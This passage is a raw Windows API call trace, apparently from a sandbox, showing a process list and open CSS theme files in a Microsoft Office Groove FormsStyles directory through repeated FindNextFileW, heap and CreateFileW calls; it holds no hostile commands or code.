[0078.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8280 [0078.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d4158 [0078.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4940) returned 0x11dc790 [0078.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.915] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maroon.css", cAlternateFileName="")) returned 1 [0078.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c82a0 [0078.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d4260 [0078.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.915] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b22b3b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis", cAlternateFileName="")) returned 1 [0078.915] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis.css", cAlternateFileName="")) returned 1 [0078.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c82c0 [0078.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d4368 [0078.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.916] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OliveGreen.css", cAlternateFileName="")) returned 1 [0078.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c82e0 [0078.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d4470 [0078.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.917] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x706, dwReserved0=0x0, dwReserved1=0x0, cFileName="Premium.css", cAlternateFileName="")) returned 1 [0078.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8300 [0078.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d4578 [0078.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.918] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a9f29b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2e6230, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate", cAlternateFileName="")) returned 1 [0078.918] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate.css", cAlternateFileName="")) returned 1 [0078.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8320 [0078.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d4680 [0078.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.919] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlateBlue.css", cAlternateFileName="")) returned 1 [0078.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8340 [0078.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d4788 [0078.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.920] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d37e7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue", cAlternateFileName="")) returned 1 [0078.920] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x11ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.css", cAlternateFileName="")) returned 1 [0078.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8360 [0078.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d4890 [0078.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.921] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab49610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen", cAlternateFileName="")) returned 1 [0078.921] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen.css", cAlternateFileName="")) returned 1 [0078.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8380 [0078.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d4998 [0078.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.921] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xadd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts.css", cAlternateFileName="")) returned 1 [0078.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c83a0 [0078.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d4aa0 [0078.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.922] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STS2", cAlternateFileName="")) returned 1 [0078.922] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts2.css", cAlternateFileName="")) returned 1 [0078.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c83c0 [0078.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d4ba8 [0078.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d43ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl", cAlternateFileName="")) returned 1 [0078.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl.css", cAlternateFileName="")) returned 1 [0078.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c83e0 [0078.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d4cb0 [0078.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.924] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5acc63d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="Teal.css", cAlternateFileName="")) returned 1 [0078.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8400 [0078.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d4db8 [0078.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.925] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="TexturedBlue.css", cAlternateFileName="")) returned 1 [0078.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8420 [0078.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d4ec0 [0078.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.926] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x733, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="")) returned 1 [0078.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8440 [0078.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d4fc8 [0078.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.927] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x733, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="")) returned 0 [0078.927] GetLastError () returned 0x12 [0078.927] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9140 [0078.927] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.927] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.927] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x75f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0078.927] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb8e810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana", cAlternateFileName="")) returned 1 [0078.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.927] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb8e810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 